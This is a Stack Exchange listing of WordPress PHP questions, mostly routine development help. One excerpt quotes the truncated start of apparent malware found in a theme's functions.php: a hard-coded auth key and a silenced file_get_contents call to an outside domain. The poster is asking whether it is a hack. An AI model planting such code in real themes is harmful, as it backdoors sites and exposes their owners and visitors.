Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [php]

For questions about the server-side programming language that the WordPress core, plugins and themes are written in. Questions about using PHP outside a WordPress context are off-topic but might be asked on Stack Overflow.

0
votes
2answers
18 views

Path for php file for inserting data through html form

I have a HTML form which inserts data into a custom table. The code for inserting the data is in a PHP file . My question is where do I place the PHP file in the WordPress filesystem? I have tried ...
0
votes
0answers
13 views

How to properly add custom product meta to order meta in woocommerce

I have the code to add some custom product meta data to cart and then later pass them to order meta. Everything works fine but it feels like the add to cart process is quite slow which makes me wonder ...
1
vote
0answers
18 views

Add filter when image is uploaded?

I'm trying to use this code from another SO resopnse: function ajx_sharpen_resized_files( $resized_file ) { $image = wp_load_image( $resized_file ); if ( !is_resource( $image ) ) ...
0
votes
0answers
12 views

Filter for widget media image

There is a filter for "widget_media_image"? I'm trying to add new attributes using preg_replace but i can't find the correct filter for this widget.
0
votes
1answer
35 views

change title page on search result

I want to change in my search result the title. Unfortunately I don't have option to change this in , because I must do it in plugin file. Actually I have that code in PHP file: if (isset($_GET['...
1
vote
4answers
239 views

get_users(…) only returns one user

I have an array of user IDs, I want to get data for each of these users. I first thought of writing a classic SQL query but I found WordPress has integreted functions for it. However, get_users(...) ...
0
votes
0answers
17 views

pagination problem with select option

I have a select option menu and a wp_query. when a user choose an option, it shows related posts. everything is great but pagination. pagination is working good, it shows pages and when you click page ...
0
votes
2answers
35 views

How to turn off email you receive when registered?

My client wants to turn off the email you receive when register.
0
votes
0answers
21 views

Looping over an array of URL end points

Hey guys thanks in advance to all, So Iv made a conditional statement for a plugin that runs on woocommerce, to target the URL so I can inject custom css via php or whatever. the code works fine, but ...
0
votes
0answers
13 views

Cannot transfer ajax post data from js to php file

I need to click on the button to send some data to the php file and update the user's balance in the database. quotes.js Part of the code: var data = { sell: sell_current_quote, buy: ...
1
vote
2answers
21 views

Displaying Woocommerce Product Category in Wordpress

I'm trying to create a custom theme. I added theme compatibility with Woocommerce to my theme, and am trying to create a product loop. I want to filter my loop so it only displays post with the ...
1
vote
0answers
21 views

How to debug my custom login form looping intermittently

I have a custom log in form for users of my website where they can log in then view some information that related to them. The problem is sometimes this form will loop. I will get the message "login ...
0
votes
1answer
28 views

Save user total active time after login in wordpress [closed]

I want to calculate the total active time of the user after user login in wordpress site. For this i am using the following hook in my custom plugin: add_action('wp_login', 'save_login_time', 10, 2)...
-2
votes
1answer
36 views

How to insert the first letter in uppercase [closed]

short question, I have a variable concatenated with a get_the_title and get_the_category, and I need the get_the_category to show the first letter in capital letters. <?php echo get_the_title().' ...
0
votes
0answers
21 views

JQuery modal not loading video on popup, only displaying it after multiple reopenings

I am trying to load a PHP function into a modal, containing a video. I'm currently using jquerymodal.com's plugin to achieve that. Here's the current .js code I'm using: https://jmp.sh/v/...
0
votes
0answers
14 views

User Information after facebook login using SDK

I am developing a plugin where I am trying to add facebook login. I have added both of my login button code as well as response code ( getting logged in user info after redirect ) in the same page and ...
0
votes
2answers
56 views

Way to display “Yesterday”, “Today”

I currently use the following code below in my loop to display dates for groups of posts. Works great, was just wondering if it's possible to change the day from php code 'l'(Sunday-Saturday) to Today ...
0
votes
0answers
12 views

Move blogs but with applied filters

I have to move blogs from a WordPress site to another WordPress site but with applied filters. Details: Every blog has an author as we all know it but this time when I move the blogs, I only want ...
0
votes
0answers
15 views

Can I use setcookie withiut the functions.php file?

I want to store a value if the visitor is on that page. I tried many code but the only way to create a cookie is to create a function an hook to init in the functions.php file. On this way I can not ...
0
votes
1answer
31 views

Normal PHP array for exclude section of WordPress query?

I just wanted to check on something with the community here and avoid any future drama. I have a variable which seems to be working fine in a wp_user_query but not sure if I'm missing something that ...
0
votes
1answer
18 views

Environment to do updates to legacy (4.7) version of WP while staying on php 5.6?

So, I think I know what needs to happen but I wanted to get the opinion of the community and hopefully some more experienced people. I have to do content and theme updates to a site still running php ...
0
votes
1answer
16 views

How to display a custom product field value of a specific category on a Woo Commerce checkout page?

Good day or night, I would like to display a custom product field value of a specific category (Shirts) on a woo commerce checkout page. I've succeeded in checking for the category, but my attempts ...
0
votes
0answers
33 views

How to programmatically set existing image in media library the featured image for a post in wordpress

I have uploaded some images to the wordpress media library. Now I am going to create some posts using php and want to use those already uploaded images as featured image for these posts respectively. ...
0
votes
1answer
22 views

sessionStorage saves input value in browser but it is not loaded in the form field

I am trying to save the input value of form fields but only one of the fields returns the value on page refresh. I can see the input value of the second field in sessionStorage in chrome but it is not ...
0
votes
1answer
21 views

Setting user nickname and displayname to shortened email

I am trying to set the user's display_name and nickname to the first part of the email address of a user (before the @) upon login if nickname is not set. So far I've got: add_action( 'wp_login', '...
1
vote
1answer
22 views

Redirecting to home page after login as custom role WordPress

I have a user with custom role; but when I login as a user with custom role it redirects me to the homepage of my site. I tried using this code through my plugin but still it redirects to the homepage:...
0
votes
1answer
31 views

Include Parent Term in wp_list_categories

I am using the script below to list the custom taxonomies, but I still need a link to the parent of the current custom taxonomy for an "All" link. Right now the links display as: Shoes Shirt T-...
0
votes
0answers
19 views

Multiple Arrays for Custom Post Query using Boostrap accordions and ACF repeater fields

I'm trying to fix an issue that requires multiple array queries inside a loop. I'm no PHP whiz, but I got one part to work. I can't get the other part to show correctly. I'm using a collapse repeater ...
0
votes
0answers
8 views

Woocommerce web site 6-7 second pageloads

I have a wordpress based ecommerce website with Woocommerce. I use WP-Rocket Plugin for cache I use CND I use a Cloud dedicated server : 9CPU X 2GHZ 7GB Ram Apache For cached page ...
-1
votes
1answer
35 views

How to Add Body Class, and Remember/Retrieve it Through Local Storage

I want to create a system, where upon click of a button, a body class is added and the value is stored in local storage. The value is retrieved from the local storage, and is put again in the body ...
-1
votes
1answer
40 views

ACF repeater image in video poster with jquery

I'm having problems for jquery to send a url from an image to an html tag. I explain; I have an ACF repeater with 5 variables, including an image intended to be a poster of a video and what I'm trying ...
0
votes
2answers
21 views

WordPress Ajax filter: Create two loops for different output styles?

I have two different pages, with filters. Those two pages, have different layouts and styles. I have three different filters for one page, where the output and style is the same. For the “newsfilter”...
0
votes
0answers
12 views

Get String returned by function get_the_title () and show it in Metabox without clicking on “Update” or “Publish” Button

I have the following code in my functions.php that shows or replicates the same text in Capitals of the "Title" field of a WP entry, in a Metabox that appears when the same entry is edited. ...
0
votes
1answer
13 views

How to make an embeded a Youtube video from custom field text responsive to screen size?

So I've embedded a youtube video using oembed like this : $embed_code = wp_oembed_get(get_field('youtube_video') ); echo $embed_code; But how do i make it respond to screen size? viewing it on a ...
0
votes
0answers
8 views

Backend not loading after switching to public domain

I developed the website on a private VPN protected IP address. After I was done, I pointed a domain to a public IP that can be reached without a VPN which itself is pointed to the private IP. I then ...
1
vote
1answer
26 views

Using custom field content as expression in IF statement [closed]

I want to store some conditional logic in custom post types , and then use these in a plugin to generate new content based on the logic. Eg if a user submits a form with “body temperature”, a ...
0
votes
1answer
26 views

Argument for if term-> have child?

I am using the code off this page: https://www.wpbeginner.com/wp-tutorials/how-to-display-child-taxonomy-on-parent-taxonomys-archive-page/ However my Custom taxonomy has more depth for cities, state, ...
1
vote
0answers
20 views

How can I save unique user data on my site? [on hold]

I am trying to find a way to allow registered users on my site create lists of data and save them. I'm having trouble finding a way to save the list they create to the database of my site. I am ...
0
votes
0answers
14 views

Collapsible menu on post sidebar only expands and does not collapse

I'm working to improve an existing wordpress theme that was built for my organization. I've run into a problem that I'm not familiar with: the archive menu displayed on each post will only expand, but ...
0
votes
0answers
21 views

PHP 7.2 Upgrade Issue: Published Date Showing As Current Date on Front-End of Posts

So we recently noticed that the post date on our posts is showing up as the current date. For example here: https://www.chrisapappas.com/2019/02/11/grammys-2019-best-dressed/. All our posts are ...
0
votes
0answers
14 views

Create Schema in WordPress with PHP

I have a website that gets fed data from a local MLS. I put together PHP to grab the title of the page which contains the address & MLS # of the current property, and create schema for it. I ...
1
vote
3answers
30 views

Display a text message if the field is not found and not if found

I am trying to display a message like "Sorry no information here" if a field is not found and if field is found, no message should appear. I am using the ACF plugin for displaying fields on the front ...
4
votes
3answers
2k views

Is this a hacking script in function.php?

I have code like below in neve theme WordPress. I feel suspicious about this code $wp_auth_key='ac15616a33a4bae1388c29de0202c5e1'; if (($tmpcontent = @file_get_contents("http://www.darors.com/...
0
votes
0answers
13 views

If customizer drop down equals, hide option?

I have an option that is a dropdown menu which let's me select between 3 different themes. And I want to hide another options if theme-1 is selected. This is the Customizer controls: $wp_customize-...
2
votes
3answers
139 views

Where to include php files in wordpress and how to refer to them later [closed]

I am currently creating a customize web page and I am willing to refer to a php file inside an ajax command open(GET,"url php",true) so my question is where to put my php file so that it would be seen ...
1
vote
1answer
44 views

WordPress Redirect Not Working - AJAX Callback Response Not Picked Up

I cannot get a redirect working in my custom wordpress plugin. I have a button on a page which triggers an AJAX action which calls a function. In my function (which is definitely being called as I ...
1
vote
1answer
56 views

Replacing a plugin function with a custom renamed function doesn't work

With WooCommerce and WooCommerce Bookings plugins enabled, I am trying to add a text line above the product time picker section to advise the customer that they need to select one of the options. I ...
1
vote
0answers
39 views

how to query a post based on previous page post ID

sorry I probably didn't word the question properly. So i'll describe what im trying to achieve. I have Page A that has a slider of the different posts. When you click on one it redirects you to the ...
1
vote
0answers
38 views

Add New User, extra fields which are required?

I use these two functions to be able to set the first and last name when I go to Add New User: // Add First and Last name to Add New User function add_new_user_name_fields($user) { ?> <...
0
votes
1answer
21 views

How to display sticky post always at the top (before regular post) in wordpress?

I am working on a wordpress code as shown below in which the modified post displays at the top. $temp_args = [ 'post_type' => array('current-channel', 'post', 'current-episodes'), '...